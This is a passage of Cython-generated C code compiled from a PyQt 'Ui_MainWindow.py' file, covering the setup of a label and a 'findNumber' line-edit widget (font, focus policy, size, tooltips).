1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":83 * self.label_2.setAccessibleDescription("") * self.label_2.setLayoutDirection(QtCore.Qt.RightToLeft) * self.label_2.setObjectName("label_2") # <<<<<<<<<<<<<< * self.horizontalLayout.addWidget(self.label_2) * self.findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__53, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":84 * self.label_2.setLayoutDirection(QtCore.Qt.RightToLeft) * self.label_2.setObjectName("label_2") * self.horizontalLayout.addWidget(self.label_2) # <<<<<<<<<<<<<< * self.findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget) * self.findNumber.setMaximumSize(QtCore.QSize(100, 60)) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":85 * self.label_2.setObjectName("label_2") * self.horizontalLayout.addWidget(self.label_2) * self.findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget) # <<<<<<<<<<<<<< * self.findNumber.setMaximumSize(QtCore.QSize(100, 60)) * font = QtGui.QFont() */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_findNumber, __pyx_t_1) < 0) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":86 * self.horizontalLayout.addWidget(self.label_2) * self.findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget) * self.findNumber.setMaximumSize(QtCore.QSize(100, 60)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setKerning(True) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setMaximumSize); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QSize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__54, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":87 * self.findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget) * self.findNumber.setMaximumSize(QtCore.QSize(100, 60)) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setKerning(True) * self.findNumber.setFont(font) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":88 * self.findNumber.setMaximumSize(QtCore.QSize(100, 60)) * font = QtGui.QFont() * font.setKerning(True) # <<<<<<<<<<<<<< * self.findNumber.setFont(font) * self.findNumber.setMouseTracking(True) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setKerning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__55, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":89 * font = QtGui.QFont() * font.setKerning(True) * self.findNumber.setFont(font) # <<<<<<<<<<<<<< * self.findNumber.setMouseTracking(True) * self.findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setFont); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_v_font); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_font}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_font}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_font); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":90 * font.setKerning(True) * self.findNumber.setFont(font) * self.findNumber.setMouseTracking(True) # <<<<<<<<<<<<<< * self.findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.findNumber.setAcceptDrops(False) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__56, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":91 * self.findNumber.setFont(font) * self.findNumber.setMouseTracking(True) * self.findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) # <<<<<<<<<<<<<< * self.findNumber.setAcceptDrops(False) * self.findNumber.setToolTip("") */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setFocusPolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ClickFocus); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":92 * self.findNumber.setMouseTracking(True) * self.findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.findNumber.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.findNumber.setToolTip("") * self.findNumber.setStatusTip("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__57, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":93 * self.findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.findNumber.setAcceptDrops(False) * self.findNumber.setToolTip("") # <<<<<<<<<<<<<< * self.findNumber.setStatusTip("") * self.findNumber.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__58, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":94 * self.findNumber.setAcceptDrops(False) * self.findNumber.setToolTip("") * self.findNumber.setStatusTip("") # <<<<<<<<<<<<<< * self.findNumber.setAccessibleName("") * self.findNumber.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__59, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":95 * self.findNumber.setToolTip("") * self.findNumber.setStatusTip("") * self.findNumber.setAccessibleName("") # <<<<<<<<<<<<<< * self.findNumber.setAccessibleDescription("") * self.findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 95, __pyx_L1_error) 